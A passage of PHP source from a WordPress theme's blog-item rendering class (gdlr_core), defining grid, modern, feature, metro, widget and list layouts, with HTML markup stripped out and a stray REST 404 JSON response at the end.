'category-background-color' => empty($args['category-background-color'])? '': $args['category-background-color']
))
), $thumbnail_shadow);
$ret .= $blog_thumbnail;
if( !empty($blog_thumbnail) && empty($post_format) ){
$args['meta-option'] = array_diff($args['meta-option'], array('comment-number', 'category'));
}
}
if( $args['blog-style'] == 'blog-column-with-frame' ){
$ret .= '
';
}else{
$ret .= '
';
}
$ret .= $this->blog_info(array(
'display' => $args['meta-option'],
'wrapper' => true,
'separator' => '•'
));
$ret .= $this->blog_title($args);
$ret .= $this->get_blog_excerpt($args);
$ret .= '
'; // gdlr-core-blog-grid-content-wrap
$ret .= '
'; // gdlr-core-blog-grid
return $ret;
}
// blog modern
function blog_modern( $args ){
$feature_image = get_post_thumbnail_id();
$additional_class = empty($feature_image)? ' gdlr-core-no-image': ' gdlr-core-with-image';
if( empty($args['always-show-overlay-content']) || $args['always-show-overlay-content'] == 'disable' ){
$additional_class .= ' gdlr-core-hover-overlay-content';
}
if( empty($args['enable-thumbnail-opacity-on-hover']) || $args['enable-thumbnail-opacity-on-hover'] == 'enable' ){
$additional_class .= ' gdlr-core-opacity-on-hover';
}
if( empty($args['enable-thumbnail-zoom-on-hover']) || $args['enable-thumbnail-zoom-on-hover'] == 'enable' ){
$additional_class .= ' gdlr-core-zoom-on-hover';
}
if( !empty($args['enable-thumbnail-grayscale-effect']) && $args['enable-thumbnail-grayscale-effect'] == 'enable' ){
$additional_class .= ' gdlr-core-grayscale-effect';
}
if( !empty($args['blog-image-style']) && $args['blog-image-style'] == 'style-2' ){
$additional_class .= ' gdlr-core-style-2';
}
$thumbnail_shadow = array();
if( !empty($feature_image) && !empty($args['frame-shadow-size']['size']) && !empty($args['frame-shadow-color']) && !empty($args['frame-shadow-opacity']) ){
$thumbnail_shadow['background-shadow-size'] = $args['frame-shadow-size'];
$thumbnail_shadow['background-shadow-color'] = $args['frame-shadow-color'];
$thumbnail_shadow['background-shadow-opacity'] = $args['frame-shadow-opacity'];
$additional_class .= ' gdlr-core-outer-frame-element';
}
$ret = '
';
$ret .= '
';
if( !empty($feature_image) ){
$ret .= '
';
$ret .= gdlr_core_get_image($feature_image, $args['thumbnail-size'], array('placeholder' => false));
if( !empty($args['blog-image-style']) && $args['blog-image-style'] == 'style-2' ){
$ret .= $this->blog_info(array(
'display' => array('category'),
'category-background-color' => empty($args['category-background-color'])? '': $args['category-background-color']
));
$args['meta-option'] = array_diff($args['meta-option'], array('category'));
}
$ret .= '
';
}
if( !empty($args['blog-image-thumbnail-overlay']) ){
if( $args['blog-image-thumbnail-overlay'] == 'gradient' ){
$ret .= '
';
}else if( $args['blog-image-thumbnail-overlay'] == 'gradient2' ){
$ret .= '
';
}else if( $args['blog-image-thumbnail-overlay'] == 'opacity' ){
$ret .= '
(empty($args['blog-image-thumbnail-overlay-opacity']) || $args['blog-image-thumbnail-overlay-opacity'] == '0.4')? '': $args['blog-image-thumbnail-overlay-opacity']
)) . ' >
';
}
}
$ret .= '
empty($args['blog-image-overlay-content-padding'])? '': $args['blog-image-overlay-content-padding']
)) . '>';
$ret .= $this->blog_title($args);
$ret .= $this->blog_info(array(
'display' => $args['meta-option'],
'wrapper' => true
));
if( !empty($args['blog-image-excerpt-number']) ){
$args['excerpt'] = 'specify-number';
$args['excerpt-number'] = $args['blog-image-excerpt-number'];
$ret .= $this->get_blog_excerpt($args);
}
$ret .= '
'; // gdlr-core-blog-modern-content
$ret .= '
'; // gdlr-core-blog-modern-inner
$ret .= '
'; // gdlr-core-blog-modern
return $ret;
}
// blog feature
function blog_feature( $args ){
$feature_image = get_post_thumbnail_id();
$additional_class = empty($feature_image)? ' gdlr-core-no-image': ' gdlr-core-with-image';
if( empty($args['blog-feature-main']) ){
$additional_class .= ' gdlr-core-sub-item';
unset($args['blog-title-font-size']);
}else{
$additional_class .= ' gdlr-core-main-item';
}
if( empty($args['always-show-overlay-content']) || $args['always-show-overlay-content'] == 'disable' ){
$additional_class .= ' gdlr-core-hover-overlay-content';
}
if( empty($args['enable-thumbnail-opacity-on-hover']) || $args['enable-thumbnail-opacity-on-hover'] == 'enable' ){
$additional_class .= ' gdlr-core-opacity-on-hover';
}
if( empty($args['enable-thumbnail-zoom-on-hover']) || $args['enable-thumbnail-zoom-on-hover'] == 'enable' ){
$additional_class .= ' gdlr-core-zoom-on-hover';
}
if( !empty($args['enable-thumbnail-grayscale-effect']) && $args['enable-thumbnail-grayscale-effect'] == 'enable' ){
$additional_class .= ' gdlr-core-grayscale-effect';
}
$ret = '
';
$ret .= '
';
if( !empty($feature_image) ){
$ret .= '
';
$ret .= gdlr_core_get_image($feature_image, $args['thumbnail-size'], array('placeholder' => false));
$ret .= '
';
}
if( !empty($args['blog-image-thumbnail-overlay']) ){
if( $args['blog-image-thumbnail-overlay'] == 'gradient' ){
$ret .= '
';
}else if( $args['blog-image-thumbnail-overlay'] == 'gradient2' ){
$ret .= '
';
}else if( $args['blog-image-thumbnail-overlay'] == 'opacity' ){
$ret .= '
(empty($args['blog-image-thumbnail-overlay-opacity']) || $args['blog-image-thumbnail-overlay-opacity'] == '0.4')? '': $args['blog-image-thumbnail-overlay-opacity']
)) . ' >
';
}
}
if( in_array('category', $args['meta-option']) ){
$ret .= $this->blog_info(array(
'display' => array('category'),
'category-background-color' => empty($args['category-background-color'])? '': $args['category-background-color']
));
$args['meta-option'] = array_diff($args['meta-option'], array('category'));
}
$ret .= '
';
$ret .= $this->blog_title($args);
$ret .= $this->blog_info(array(
'display' => $args['meta-option'],
'wrapper' => true
));
$ret .= '
'; // gdlr-core-blog-modern-content
$ret .= '
'; // gdlr-core-blog-modern-inner
$ret .= '
'; // gdlr-core-blog-modern
return $ret;
}
// blog metro
function blog_metro( $args ){
$feature_image = get_post_thumbnail_id();
$additional_class = empty($feature_image)? ' gdlr-core-no-image': ' gdlr-core-with-image';
if( empty($args['enable-thumbnail-opacity-on-hover']) || $args['enable-thumbnail-opacity-on-hover'] == 'enable' ){
$additional_class .= ' gdlr-core-opacity-on-hover';
}
if( empty($args['enable-thumbnail-zoom-on-hover']) || $args['enable-thumbnail-zoom-on-hover'] == 'enable' ){
$additional_class .= ' gdlr-core-zoom-on-hover';
}
if( !empty($args['enable-thumbnail-grayscale-effect']) && $args['enable-thumbnail-grayscale-effect'] == 'enable' ){
$additional_class .= ' gdlr-core-grayscale-effect';
}
$thumbnail_shadow = array();
if( !empty($feature_image) && !empty($args['frame-shadow-size']['size']) && !empty($args['frame-shadow-color']) && !empty($args['frame-shadow-opacity']) ){
$thumbnail_shadow['background-shadow-size'] = $args['frame-shadow-size'];
$thumbnail_shadow['background-shadow-color'] = $args['frame-shadow-color'];
$thumbnail_shadow['background-shadow-opacity'] = $args['frame-shadow-opacity'];
}
$ret = '
';
$ret .= '
';
if( !empty($feature_image) ){
$ret .= '
';
$ret .= gdlr_core_get_image($feature_image, $args['thumbnail-size'], array('placeholder' => false));
$ret .= '
';
}
$ret .= '
';
$ret .= $this->blog_title($args);
$ret .= $this->blog_info(array(
'display' => $args['meta-option'],
'wrapper' => true
));
$ret .= '
'; // gdlr-core-blog-metro-content
$ret .= '
'; // gdlr-core-blog-metro-inner
$ret .= '
'; // gdlr-core-blog-metro
return $ret;
}
// blog list
function blog_widget( $args ){
$additional_class = empty($args['text-align'])? '': ' gdlr-core-' . $args['text-align'] . '-align';
$additional_class .= empty($args['item-size'])? '': 'gdlr-core-style-' . $args['item-size'];
$ret = '
empty($args['margin-bottom'])? '': $args['margin-bottom']
)) . ' >';
if( empty($args['show-thumbnail']) || $args['show-thumbnail'] == 'enable' ){
$ret .= $this->blog_thumbnail(array(
'thumbnail-size' => 'thumbnail',
'opacity-on-hover' => empty($args['enable-thumbnail-opacity-on-hover'])? 'enable': $args['enable-thumbnail-opacity-on-hover'],
'zoom-on-hover' => empty($args['enable-thumbnail-zoom-on-hover'])? 'enable': $args['enable-thumbnail-zoom-on-hover'],
'grayscale-effect' => empty($args['enable-thumbnail-grayscale-effect'])? 'disable': $args['enable-thumbnail-grayscale-effect']
));
}
$ret .= '
';
$ret .= $this->blog_title($args);
$ret .= $this->blog_info(array(
'display' => $args['meta-option'],
'wrapper' => true
));
$ret .= '
'; // gdlr-core-blog-widget-content
$ret .= '
'; // gdlr-core-blog-widget
return $ret;
}
// blog list
function blog_list( $args ){
$with_frame = ( !empty($args['blog-list-with-frame']) && $args['blog-list-with-frame'] == 'enable' );
$additional_class = ($args['blog-style'] == 'blog-list-center')? ' gdlr-core-center-align': '';
$additional_class .= ($with_frame)? ' gdlr-core-blog-list-with-frame': '';
$ret = '
empty($args['margin-bottom'])? '': $args['margin-bottom']
)) . ' >';
$ret .= $with_frame? '
': '';
$ret .= $this->blog_title($args);
$ret .= $this->blog_info(array(
'display' => $args['meta-option'],
'wrapper' => true,
'icon' => false,
'separator' => '/'
));
$ret .= $with_frame? '
': '';
$ret .= '
'; // gdlr-core-blog-list
return $ret;
}
} // gdlr_core_blog_item
} // class_exists
{"code":"rest_no_route","message":"No route was found matching the URL and request method.","data":{"status":404}}